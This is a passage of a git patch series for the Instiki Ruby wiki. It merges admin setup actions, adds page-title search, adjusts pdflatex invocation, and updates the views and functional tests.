WikiControllerTest < Test::Unit::TestCase end - def test_new_system - ApplicationController.wiki = WikiServiceWithNoPersistence.new - process('new_system') - assert_success - end - - def test_new_system_system_already_initialized - assert @wiki.setup? - process('new_system') - assert_redirected_to :action => 'index' - end - - - def test_new_web - @wiki.system['password'] = 'pswd' - process 'new_web' - assert_success - end - - def test_new_web_no_password_set - @wiki.system['password'] = nil - process 'new_web' - assert_redirected_to :action => 'index' - end - - if ENV['INSTIKI_TEST_LATEX'] or defined? $INSTIKI_TEST_PDFLATEX def test_pdf @@ -630,46 +537,6 @@ class WikiControllerTest < Test::Unit::TestCase end - def test_update_web - @wiki.system[:password] = 'pswd' - - process('update_web', 'system_password' => 'pswd', - 'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1', - 'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', - 'safe_mode' => 'on', 'password' => 'new_password', 'published' => 'on', - 'brackets_only' => 'on', 'count_pages' => 'on', 'allow_uploads' => 'on') - - assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage' - assert_equal 'renamed_wiki1', @web.address - assert_equal 'Renamed Wiki1', @web.name - assert_equal :markdown, @web.markup - assert_equal 'blue', @web.color - assert @web.safe_mode - assert_equal 'new_password', @web.password - assert @web.published - assert @web.brackets_only - assert @web.count_pages - assert @web.allow_uploads - end - - def test_update_web_opposite_values - @wiki.system[:password] = 'pswd' - - process('update_web', 'system_password' => 'pswd', - 'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1', - 'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', - 'password' => 'new_password') - # safe_mode, published, brackets_only, count_pages, allow_uploads not set - # and should become false - - assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage' - assert !@web.safe_mode - assert !@web.published - assert !@web.brackets_only - assert !@web.count_pages - assert !@web.allow_uploads - end - def test_web_list another_wiki = @wiki.create_web('Another Wiki', 'another_wiki') From 83c6eadc0c23a8c7d7a2bb765ef583f6c6c94db7 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 28 Jan 2005 02:35:59 +0000 Subject: [PATCH 126/529] Merged new_system action into create_system --- app/controllers/admin_controller.rb | 21 +++++++---- app/controllers/wiki_controller.rb | 2 +- .../{new_system.rhtml => create_system.rhtml} | 0 libraries/url_rewriting_hack.rb | 3 +- test/functional/admin_controller_test.rb | 35 ++++++++++--------- test/functional/wiki_controller_test.rb | 2 +- 6 files changed, 35 insertions(+), 28 deletions(-) rename app/views/admin/{new_system.rhtml => create_system.rhtml} (100%) diff --git a/app/controllers/admin_controller.rb b/app/controllers/admin_controller.rb index 58cfc7a5..e273d9ff 100644 --- a/app/controllers/admin_controller.rb +++ b/app/controllers/admin_controller.rb @@ -5,8 +5,20 @@ class AdminController < ApplicationController layout 'default' def create_system - @wiki.setup(@params['password'], @params['web_name'], @params['web_address']) unless @wiki.setup? - redirect_show('HomePage', @params['web_address']) + if wiki.setup? + flash[:error] = <<-EOL + Wiki has already been created in '#{@wiki.storage_path}'. Shut down Instiki and delete + this directory if you want to recreate it from scratch.
        + (WARNING: this will destroy content of your current wiki). + EOL + redirect_show('HomePage', @wiki.webs.keys.first) + elsif @params['web_name'] + # form submitted -> create a wiki + @wiki.setup(@params['password'], @params['web_name'], @params['web_address']) + redirect_show('HomePage', @params['web_address']) + else + # no form submitted -> go to template + end end def create_web @@ -22,11 +34,6 @@ class AdminController < ApplicationController # to template end - def new_system - redirect_to(:action => 'index') if wiki.setup? - # otherwise, to template - end - def new_web redirect_to :action => 'index' if wiki.system['password'].nil? # otherwise, to template diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index b03829d7..94b1bf1c 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -10,7 +10,7 @@ class WikiController < ApplicationController if @web_name redirect_show 'HomePage' elsif not @wiki.setup? - redirect_to :action => 'new_system' + redirect_to :controller => 'admin', :action => 'create_system' elsif @wiki.webs.length == 1 redirect_show 'HomePage', @wiki.webs.values.first.address else diff --git a/app/views/admin/new_system.rhtml b/app/views/admin/create_system.rhtml similarity index 100% rename from app/views/admin/new_system.rhtml rename to app/views/admin/create_system.rhtml diff --git a/libraries/url_rewriting_hack.rb b/libraries/url_rewriting_hack.rb index 35bab3a7..b817d530 100644 --- a/libraries/url_rewriting_hack.rb +++ b/libraries/url_rewriting_hack.rb @@ -8,7 +8,7 @@ # # 1. Controller is determined by action name (default is 'wiki') # 2. '/name1/' maps to action 'name1', unspecified web -# Example: http://localhost/new_system/ +# Example: http://localhost/create_system/ # 3. Special case of above, URI '/wiki/' maps to action 'index', because Rails sets this address # when default controller name is specified as 'wiki', and an application root # (http://localhost:2500/)is requested. @@ -67,7 +67,6 @@ class DispatchServlet 'edit_web' => 'admin', 'file' => 'file', 'import' => 'file', - 'new_system' => 'admin', 'new_web' => 'admin', 'pic' => 'file', 'update_web' => 'admin' diff --git a/test/functional/admin_controller_test.rb b/test/functional/admin_controller_test.rb index dde7d10d..ae424716 100644 --- a/test/functional/admin_controller_test.rb +++ b/test/functional/admin_controller_test.rb @@ -18,7 +18,13 @@ class AdminControllerTest < Test::Unit::TestCase end - def test_create_system + def test_create_system_form_displayed + ApplicationController.wiki = WikiServiceWithNoPersistence.new + process('create_system') + assert_success + end + + def test_create_system_form_submitted ApplicationController.wiki = WikiServiceWithNoPersistence.new assert !@controller.wiki.setup? @@ -34,17 +40,25 @@ class AdminControllerTest < Test::Unit::TestCase assert_equal 'my_wiki', new_web.address end - def test_create_system_already_setup + def test_create_system_form_submitted_and_wiki_already_initialized wiki_before = @controller.wiki assert @controller.wiki.setup? process 'create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', 'web_address' => 'my_wiki' - assert_redirected_to :web => 'my_wiki', :action => 'show', :id => 'HomePage' + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' assert_equal wiki_before, @controller.wiki - # and no new wikis shuld be created either + # and no new web should be created either assert_equal 1, @controller.wiki.webs.size + assert_flash_has :error + end + + def test_create_system_no_form_and_wiki_already_initialized + assert @wiki.setup? + process('create_system') + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + assert_flash_has :error end @@ -85,19 +99,6 @@ class AdminControllerTest < Test::Unit::TestCase end - def test_new_system - ApplicationController.wiki = WikiServiceWithNoPersistence.new - process('new_system') - assert_success - end - - def test_new_system_system_already_initialized - assert @wiki.setup? - process('new_system') - assert_redirected_to :action => 'index' - end - - def test_new_web @wiki.system['password'] = 'pswd' process 'new_web' diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index ba4e1925..860f69a2 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -172,7 +172,7 @@ class WikiControllerTest < Test::Unit::TestCase def test_index_wiki_not_initialized ApplicationController.wiki = WikiServiceWithNoPersistence.new process('index') - assert_redirected_to :action => 'new_system' + assert_redirected_to :controller => 'admin', :action => 'create_system' end From 22e7104ea1c28d8d0f077cc207c672bb7928ea13 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 28 Jan 2005 02:44:22 +0000 Subject: [PATCH 127/529] Error message look slightly better. --- app/controllers/admin_controller.rb | 2 +- public/stylesheets/instiki.css | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/app/controllers/admin_controller.rb b/app/controllers/admin_controller.rb index e273d9ff..1889acb2 100644 --- a/app/controllers/admin_controller.rb +++ b/app/controllers/admin_controller.rb @@ -8,7 +8,7 @@ class AdminController < ApplicationController if wiki.setup? flash[:error] = <<-EOL Wiki has already been created in '#{@wiki.storage_path}'. Shut down Instiki and delete - this directory if you want to recreate it from scratch.
        + this directory if you want to recreate it from scratch.

        (WARNING: this will destroy content of your current wiki). EOL redirect_show('HomePage', @wiki.webs.keys.first) diff --git a/public/stylesheets/instiki.css b/public/stylesheets/instiki.css index 898330e3..4b34102e 100644 --- a/public/stylesheets/instiki.css +++ b/public/stylesheets/instiki.css @@ -151,13 +151,13 @@ ol.setup li { #error { color: darkred; font-style: italic; - width: 450px; + width: 600px; } #info { color: darkgreen; font-style: italic; - width: 450px; + width: 600px; } #TextileHelp table { From 16dcdb6e0ef5ff88eff6372156b4ad9146573c82 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 28 Jan 2005 02:57:25 +0000 Subject: [PATCH 128/529] A friendly confirmation when a new wiki is set up --- app/controllers/admin_controller.rb | 7 ++++++- test/functional/admin_controller_test.rb | 3 ++- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/app/controllers/admin_controller.rb b/app/controllers/admin_controller.rb index 1889acb2..57736c3b 100644 --- a/app/controllers/admin_controller.rb +++ b/app/controllers/admin_controller.rb @@ -15,7 +15,12 @@ class AdminController < ApplicationController elsif @params['web_name'] # form submitted -> create a wiki @wiki.setup(@params['password'], @params['web_name'], @params['web_address']) - redirect_show('HomePage', @params['web_address']) + flash[:info] = <<-EOL + Your new wiki '#{@params['web_name']}' is created!
        + Please edit its home page and press Submit when finished. + EOL + redirect_to :web => @params['web_address'], :controller => 'wiki', :action => 'new', + :id => 'HomePage' else # no form submitted -> go to template end diff --git a/test/functional/admin_controller_test.rb b/test/functional/admin_controller_test.rb index ae424716..22d52211 100644 --- a/test/functional/admin_controller_test.rb +++ b/test/functional/admin_controller_test.rb @@ -31,7 +31,8 @@ class AdminControllerTest < Test::Unit::TestCase process('create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', 'web_address' => 'my_wiki') - assert_redirected_to :web => 'my_wiki', :action => 'show', :id => 'HomePage' + assert_redirected_to :web => 'my_wiki', :controller => 'wiki', :action => 'new', + :id => 'HomePage' assert @controller.wiki.setup? assert_equal 'a_password', @controller.wiki.system[:password] assert_equal 1, @controller.wiki.webs.size From 63cf09059b0b0712212b8112c3a5076eff812572 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 28 Jan 2005 03:44:36 +0000 Subject: [PATCH 129/529] Merged new_web action into create_web --- app/controllers/admin_controller.rb | 25 +++++++++++-------- .../admin/{new_web.rhtml => create_web.rhtml} | 0 app/views/admin/edit_web.rhtml | 2 +- libraries/url_rewriting_hack.rb | 1 - test/functional/admin_controller_test.rb | 25 +++++++++---------- 5 files changed, 27 insertions(+), 26 deletions(-) rename app/views/admin/{new_web.rhtml => create_web.rhtml} (100%) diff --git a/app/controllers/admin_controller.rb b/app/controllers/admin_controller.rb index 57736c3b..58b40177 100644 --- a/app/controllers/admin_controller.rb +++ b/app/controllers/admin_controller.rb @@ -5,7 +5,7 @@ class AdminController < ApplicationController layout 'default' def create_system - if wiki.setup? + if @wiki.setup? flash[:error] = <<-EOL Wiki has already been created in '#{@wiki.storage_path}'. Shut down Instiki and delete this directory if you want to recreate it from scratch.

        @@ -27,11 +27,19 @@ class AdminController < ApplicationController end def create_web - if @wiki.authenticate(@params['system_password']) - @wiki.create_web(@params['name'], @params['address']) - redirect_show('HomePage', @params['address']) - else - redirect_to :action => 'index' + if @params['address'] + # form submitted + if @wiki.authenticate(@params['system_password']) + @wiki.create_web(@params['name'], @params['address']) + redirect_show('HomePage', @params['address']) + else + redirect_to :action => 'index' + end + else + # no form submitted -> render template + if @wiki.system[:password].nil? + redirect_to :controller => 'wiki', :action => 'index' + end end end @@ -39,11 +47,6 @@ class AdminController < ApplicationController # to template end - def new_web - redirect_to :action => 'index' if wiki.system['password'].nil? - # otherwise, to template - end - def update_web if wiki.authenticate(@params['system_password']) wiki.update_web( diff --git a/app/views/admin/new_web.rhtml b/app/views/admin/create_web.rhtml similarity index 100% rename from app/views/admin/new_web.rhtml rename to app/views/admin/create_web.rhtml diff --git a/app/views/admin/edit_web.rhtml b/app/views/admin/edit_web.rhtml index 57cc6f4b..887bf5e9 100644 --- a/app/views/admin/edit_web.rhtml +++ b/app/views/admin/edit_web.rhtml @@ -93,7 +93,7 @@ and

        - ...or forget changes and create a new web + ...or forget changes and create a new web

        diff --git a/libraries/url_rewriting_hack.rb b/libraries/url_rewriting_hack.rb index b817d530..8f3ba688 100644 --- a/libraries/url_rewriting_hack.rb +++ b/libraries/url_rewriting_hack.rb @@ -67,7 +67,6 @@ class DispatchServlet 'edit_web' => 'admin', 'file' => 'file', 'import' => 'file', - 'new_web' => 'admin', 'pic' => 'file', 'update_web' => 'admin' } diff --git a/test/functional/admin_controller_test.rb b/test/functional/admin_controller_test.rb index 22d52211..97fb6152 100644 --- a/test/functional/admin_controller_test.rb +++ b/test/functional/admin_controller_test.rb @@ -92,6 +92,18 @@ class AdminControllerTest < Test::Unit::TestCase assert_nil @wiki.webs['wiki2'] end + def test_create_web_no_form_submitted + @wiki.system[:password] = 'pswd' + process 'create_web' + assert_success + end + + def test_create_web_no_form_submitted_and_no_password_set + @wiki.system[:password] = nil + process 'create_web' + assert_redirected_to :action => 'index' + end + def test_edit_web process 'edit_web', 'web' => 'wiki1' @@ -100,19 +112,6 @@ class AdminControllerTest < Test::Unit::TestCase end - def test_new_web - @wiki.system['password'] = 'pswd' - process 'new_web' - assert_success - end - - def test_new_web_no_password_set - @wiki.system['password'] = nil - process 'new_web' - assert_redirected_to :action => 'index' - end - - def test_update_web @wiki.system[:password] = 'pswd' From 3c1990a42a62a5813a580179e5cbdc9d6ac7d7b3 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 30 Jan 2005 02:56:03 +0000 Subject: [PATCH 130/529] Not all incarnations of pdflatex know the --output-directory option [Denis] --- app/controllers/wiki_controller.rb | 8 +++++++- test/functional/wiki_controller_test.rb | 2 +- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 94b1bf1c..1d4cc2e3 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -220,7 +220,13 @@ class WikiController < ApplicationController def convert_tex_to_pdf(tex_path) # TODO remove earlier PDF files with the same prefix # TODO handle gracefully situation where pdflatex is not available - logger.info `pdflatex --interaction=nonstopmode --output-directory #{File.dirname(tex_path)} #{File.basename(tex_path)}` + begin + wd = Dir.getwd + Dir.chdir(File.dirname(tex_path)) + logger.info `pdflatex --interaction=nonstopmode #{File.basename(tex_path)}` + ensure + Dir.chdir(wd) + end end def export_page_to_tex(file_path) diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 860f69a2..b4c94921 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -2,7 +2,7 @@ # Uncomment the line below to enable pdflatex tests; don't forget to comment them again # commiting to SVN -$INSTIKI_TEST_PDFLATEX = true +# $INSTIKI_TEST_PDFLATEX = true require File.dirname(__FILE__) + '/../test_helper' require 'wiki_controller' From 22a8ebb86d47233f469da6b9267b3d304f37f467 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 30 Jan 2005 02:57:53 +0000 Subject: [PATCH 131/529] Droppped obsolewte require 'chunks/match' [Denis] --- test/unit/chunks/category_test.rb | 1 - test/unit/chunks/nowiki_test.rb | 1 - 2 files changed, 2 deletions(-) diff --git a/test/unit/chunks/category_test.rb b/test/unit/chunks/category_test.rb index 991a450a..163075f0 100755 --- a/test/unit/chunks/category_test.rb +++ b/test/unit/chunks/category_test.rb @@ -2,7 +2,6 @@ require File.dirname(__FILE__) + '/../../test_helper' require 'chunks/category' -require 'chunks/match' class CategoryTest < Test::Unit::TestCase include ChunkMatch diff --git a/test/unit/chunks/nowiki_test.rb b/test/unit/chunks/nowiki_test.rb index f861c0fb..2fcad789 100755 --- a/test/unit/chunks/nowiki_test.rb +++ b/test/unit/chunks/nowiki_test.rb @@ -2,7 +2,6 @@ require File.dirname(__FILE__) + '/../../test_helper' require 'chunks/nowiki' -require 'chunks/match' class NoWikiTest < Test::Unit::TestCase include ChunkMatch From a0303d1eea50927d26a4190c757c0788e99f2361 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 30 Jan 2005 03:17:02 +0000 Subject: [PATCH 132/529] Search --- app/controllers/wiki_controller.rb | 6 ++++- app/views/wiki/search.rhtml | 33 ++++++++++++++++++++----- test/functional/wiki_controller_test.rb | 19 +++++++++++++- 3 files changed, 50 insertions(+), 8 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 1d4cc2e3..97493bfb 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -103,8 +103,12 @@ class WikiController < ApplicationController def search @query = @params['query'] + @title_results = @web.select { |page| page.name =~ /#{@query}/i }.sort @results = @web.select { |page| page.content =~ /#{@query}/i }.sort - redirect_show(@results.first.name) if @results.length == 1 + all_pages_found = (@results + @title_results).uniq + if all_pages_found.size == 1 + redirect_show(all_pages_found.first.name) + end end # Within a single page -------------------------------------------------------- diff --git a/app/views/wiki/search.rhtml b/app/views/wiki/search.rhtml index b5f633ac..19da5cdf 100644 --- a/app/views/wiki/search.rhtml +++ b/app/views/wiki/search.rhtml @@ -1,13 +1,34 @@ -<% @title = @results.length > 0 ? "#{@results.length} pages contains \"#{@params["query"]}\"" : "No pages contains \"#{@query}\"" %> +<% @title = "Search results for \"#{@params["query"]}\"" %> -<% if @results.length > 0 %> +<% unless @title_results.empty? %> +

        <%= @title_results.length %> page(s) containing search string in the page name:

        + +<% end %> + + +<% unless @results.empty? %> +

        <%= @results.length %> page(s) containing search string in the page text:

        -<% else %> -

        Perhaps you should try expanding your query. Remember that Instiki searches for entire phrases, so if you search for "all that jazz" it will not match pages that contain these words in separation—only as a sentence fragment.

        - -

        If you're a high-tech computer wizard, you might even want try constructing a regular expression. That's actually what Instiki uses, so go right ahead and flex your "[a-z]*Leet?RegExpSkill(s|z)"

        +<% end %> + +<% if (@results + @title_results).empty? %> +

        No pages contains "<%= @params["query"] %>"

        +

        + Perhaps you should try expanding your query. Remember that Instiki searches for entire + phrases, so if you search for "all that jazz" it will not match pages that contain these + words in separation—only as a sentence fragment. +

        +

        + If you're a high-tech computer wizard, you might even want try constructing a Ruby regular + expression. That's actually what Instiki uses, so go right ahead and flex your + "[a-z]*Leet?RegExpSkill(s|z)" +

        <% end %> diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index b4c94921..45bb1de3 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -477,7 +477,9 @@ class WikiControllerTest < Test::Unit::TestCase def test_search setup_wiki_with_three_pages - process 'search', 'web' => 'wiki1', 'query' => '\s[A-Z]ak' + + r = process 'search', 'web' => 'wiki1', 'query' => '\s[A-Z]ak' + assert_redirected_to :action => 'show', :id => 'Oak' end @@ -489,6 +491,18 @@ class WikiControllerTest < Test::Unit::TestCase assert_success assert_equal 'All about', r.template_objects['query'] assert_equal [@elephant, @oak], r.template_objects['results'] + assert_equal [], r.template_objects['title_results'] + end + + def test_search_by_content_and_title + setup_wiki_with_three_pages + + r = process 'search', 'web' => 'wiki1', 'query' => '(Oak|Elephant)' + + assert_success + assert_equal '(Oak|Elephant)', r.template_objects['query'] + assert_equal [@elephant, @oak], r.template_objects['results'] + assert_equal [@elephant, @oak], r.template_objects['title_results'] end def test_search_zero_results @@ -498,7 +512,10 @@ class WikiControllerTest < Test::Unit::TestCase assert_success assert_equal [], r.template_objects['results'] + assert_equal [], r.template_objects['title_results'] end + + def test_show_page From 2e9e82bd0a1d588ad3f0b619f03a89a817d1b654 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 30 Jan 2005 03:32:56 +0000 Subject: [PATCH 133/529] Documented last change in CHANGELOG; it was: search looks at page titles, as well as contents [edk] --- CHANGELOG | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG b/CHANGELOG index b76263bb..7b6c70d0 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -19,7 +19,8 @@ HEAD: Revisions that do not change anything on the page are rejected Automated tests for all controller actions category: lines are presented as links to "All Pages" for relevant categories - Various usability enhancements + Search looks at page titles, as well as content + Various other usability enhancements and bug fixes * 0.9.2: Rollback takes the user to an edit form. The form has to be submitted for the change to From 85bc93984dca61213ee079560707bde6bcdbe066 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 30 Jan 2005 04:50:41 +0000 Subject: [PATCH 134/529] Page will try to render itself in revise method, and behave appropriately if markup engine fails [inspired by Denis] --- app/controllers/file_controller.rb | 12 +++++++++--- app/models/page.rb | 28 ++++++++++++++++++---------- app/models/revision.rb | 16 ++++++++++++++++ 3 files changed, 43 insertions(+), 13 deletions(-) diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb index daa08b49..808322ed 100644 --- a/app/controllers/file_controller.rb +++ b/app/controllers/file_controller.rb @@ -94,9 +94,15 @@ class FileController < ApplicationController page_content = entry.get_input_stream.read logger.info "Processing page '#{page_name}'" begin - if @wiki.read_page(@web.address, page_name) - logger.info "Page '#{page_name}' already exists. Adding a new revision to it." - wiki.revise_page(@web.address, page_name, page_content, Time.now, @author) + existing_page = @wiki.read_page(@web.address, page_name) + if existing_page + if existing_page.content == page_content + logger.info "Page '#{page_name}' with the same content already exists. Skipping." + next + else + logger.info "Page '#{page_name}' already exists. Adding a new revision to it." + wiki.revise_page(@web.address, page_name, page_content, Time.now, @author) + end else wiki.write_page(@web.address, page_name, page_content, Time.now, @author) end diff --git a/app/models/page.rb b/app/models/page.rb index e827fd51..717bfe83 100644 --- a/app/models/page.rb +++ b/app/models/page.rb @@ -21,7 +21,7 @@ class Page raise Instiki::ValidationError.new( "You have tried to save page '#{name}' without changing its content") end - + # A user may change a page, look at it and make some more changes - several times. # Not to record every such iteration as a new revision, if the previous revision was done # by the same author, not more than 30 minutes ago, then update the last revision instead of @@ -33,8 +33,14 @@ class Page else @revisions << Revision.new(self, @revisions.length, content, created_at, author) end + + self.revisions.last.force_rendering + # at this point the page may not be inserted in the web yet, and therefore + # references to the page itself are rendered as "unresolved". Clearing the cache allows + # the page to re-render itself once again, hopefully _after_ it is inserted in the web + self.revisions.last.clear_display_cache - web.refresh_pages_with_references(name) if @revisions.length == 1 + web.refresh_pages_with_references(@name) if @revisions.length == 1 end def rollback(revision_number, created_at, author_ip = nil) @@ -79,14 +85,16 @@ class Page web.make_link(author, nil, options) end - private - def continous_revision?(created_at, author) - @revisions.last.author == author && @revisions.last.created_at + 30.minutes > created_at - end - # Forward method calls to the current revision, so the page responds to all revision calls - def method_missing(method_symbol) - revisions.last.send(method_symbol) - end + private + + def continous_revision?(created_at, author) + @revisions.last.author == author && @revisions.last.created_at + 30.minutes > created_at + end + + # Forward method calls to the current revision, so the page responds to all revision calls + def method_missing(method_symbol) + revisions.last.send(method_symbol) + end end diff --git a/app/models/revision.rb b/app/models/revision.rb index d9b3f000..95e7cb81 100644 --- a/app/models/revision.rb +++ b/app/models/revision.rb @@ -79,5 +79,21 @@ class Revision def display_content_for_export WikiContent.new(self, {:mode => :export} ) end + + def force_rendering + begin + display_content + rescue Exception => e + ApplicationController.logger.error "Failed rendering page #{@name}" + ApplicationController.logger.error e + message = e.message.gsub(/\n/, '
        ') + # substitute content with an error message + content = <<-EOL +

        Markup engine has failed to render this page, raising the following error:

        +

        #{message}

        + EOL + raise e + end + end end From d80d60243b888a4c22706135989dd4e198f5b6b2 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 30 Jan 2005 05:12:01 +0000 Subject: [PATCH 135/529] Some more accesskeys [kjell] --- app/views/wiki/edit.rhtml | 4 ++-- app/views/wiki/new.rhtml | 2 +- app/views/wiki/page.rhtml | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/app/views/wiki/edit.rhtml b/app/views/wiki/edit.rhtml index 62c1e4f3..909918e9 100644 --- a/app/views/wiki/edit.rhtml +++ b/app/views/wiki/edit.rhtml @@ -13,10 +13,10 @@

        - as + as - | Cancel (unlocks page) + | Cancel (unlocks page)

        diff --git a/app/views/wiki/new.rhtml b/app/views/wiki/new.rhtml index 9723d85f..ca68cff2 100644 --- a/app/views/wiki/new.rhtml +++ b/app/views/wiki/new.rhtml @@ -11,7 +11,7 @@

        - as + as

        diff --git a/app/views/wiki/page.rhtml b/app/views/wiki/page.rhtml index 41b13de6..3212bb4a 100644 --- a/app/views/wiki/page.rhtml +++ b/app/views/wiki/page.rhtml @@ -48,7 +48,7 @@ <% end %> - | Views: Print + | Views: Print <% if defined? RedClothForTex and RedClothForTex.available? and @web.markup == :textile %> | TeX | PDF <% end %> From c99d675780d0c25e63f4a14e552243746307ef2c Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 30 Jan 2005 05:22:19 +0000 Subject: [PATCH 136/529] web attribute accessed directly, not through accessor. Reason: not to scratch head about "who is web?" --- app/models/page.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/app/models/page.rb b/app/models/page.rb index 717bfe83..84deefa0 100644 --- a/app/models/page.rb +++ b/app/models/page.rb @@ -40,7 +40,7 @@ class Page # the page to re-render itself once again, hopefully _after_ it is inserted in the web self.revisions.last.clear_display_cache - web.refresh_pages_with_references(@name) if @revisions.length == 1 + @web.refresh_pages_with_references(@name) if @revisions.length == 1 end def rollback(revision_number, created_at, author_ip = nil) @@ -69,20 +69,20 @@ class Page end def references - web.select.pages_that_reference(name) + @web.select.pages_that_reference(name) end # Returns the original wiki-word name as separate words, so "MyPage" becomes "My Page". def plain_name - web.brackets_only ? name : WikiWords.separate(name) + @web.brackets_only ? name : WikiWords.separate(name) end def link(options = {}) - web.make_link(name, nil, options) + @web.make_link(name, nil, options) end def author_link(options = {}) - web.make_link(author, nil, options) + @web.make_link(author, nil, options) end From 5ea3f93bf9bb97c7a64f385925fe4b42b53339a1 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 30 Jan 2005 05:33:05 +0000 Subject: [PATCH 137/529] author links on print page are smart about whether they are being exported or just displayed in the browser --- app/controllers/wiki_controller.rb | 7 ++++++- app/views/wiki/print.rhtml | 2 +- test/functional/wiki_controller_test.rb | 5 ++++- 3 files changed, 11 insertions(+), 3 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 97493bfb..240dab43 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -44,7 +44,11 @@ class WikiController < ApplicationController end def export_html - export_pages_as_zip('html') { |page| @page = page; render_to_string 'wiki/print' } + export_pages_as_zip('html') do |page| + @page = page + @link_mode = :export + render_to_string 'wiki/print' + end end def export_markup @@ -149,6 +153,7 @@ class WikiController < ApplicationController end def print + @link_mode ||= :show # to template end diff --git a/app/views/wiki/print.rhtml b/app/views/wiki/print.rhtml index fd12c805..aaee6a87 100644 --- a/app/views/wiki/print.rhtml +++ b/app/views/wiki/print.rhtml @@ -10,5 +10,5 @@ diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 45bb1de3..3f93cf45 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -102,6 +102,7 @@ class WikiControllerTest < Test::Unit::TestCase r.headers['Content-Disposition'] content = r.binary_content assert_equal 'PK', content[0..1], 'Content is not a zip file' + assert_equal :export, r.template_objects['link_mode'] end def test_export_markup @@ -233,8 +234,10 @@ class WikiControllerTest < Test::Unit::TestCase def test_print - process('print', 'web' => 'wiki1', 'id' => 'HomePage') + r = process('print', 'web' => 'wiki1', 'id' => 'HomePage') + assert_success + assert_equal :show, r.template_objects['link_mode'] end From 9a5a195c472cd5c806db7f31d06f0124f2eb03f1 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 30 Jan 2005 06:11:00 +0000 Subject: [PATCH 138/529] Added max_ulpoad_sze property to web (not used yet), and redesigned edit_web page a little. --- app/models/web.rb | 79 ++++++++++++++++++---------------- app/views/admin/edit_web.rhtml | 49 ++++++++++++--------- test/unit/web_test.rb | 1 + 3 files changed, 72 insertions(+), 57 deletions(-) diff --git a/app/models/web.rb b/app/models/web.rb index 78a8b0f4..efe903e3 100644 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -7,6 +7,7 @@ require "zip/zip" class Web attr_accessor :name, :address, :password, :markup, :color, :safe_mode, :pages attr_accessor :additional_style, :published, :brackets_only, :count_pages, :allow_uploads + attr_accessor :max_upload_size def initialize(parent_wiki, name, address, password = nil) @wiki, @name, @address, @password = parent_wiki, name, address, password @@ -22,24 +23,13 @@ class Web @brackets_only = false @count_pages = false @allow_uploads = true + @max_upload_size = 100 end def add_page(page) @pages[page.name] = page end - def remove_pages(pages_to_be_removed) - pages.delete_if { |page_name, page| pages_to_be_removed.include?(page) } - end - - def select(&condition) - PageSet.new(self, @pages.values, condition) - end - - def revised_on - select.most_recent_revision - end - def authors select.authors end @@ -48,6 +38,32 @@ class Web select.map { |page| page.categories }.flatten.uniq.sort end + def has_page?(name) + pages[name] + end + + def has_file?(name) + wiki.file_yard(self).has_file?(name) + end + + def make_file_link(mode, name, text) + link = CGI.escape(name) + case mode + when :export + if has_file?(name) then "#{text}" + else "#{text}" end + when :publish + if has_file?(name) then "#{text}" + else "#{text}" end + else + if has_file?(name) + "#{text}" + else + "#{text}?" + end + end + end + # Create a link for the given page name and link text based # on the render mode in options and whether the page exists # in the this web. @@ -85,24 +101,6 @@ class Web end end - def make_file_link(mode, name, text) - link = CGI.escape(name) - case mode - when :export - if has_file?(name) then "#{text}" - else "#{text}" end - when :publish - if has_file?(name) then 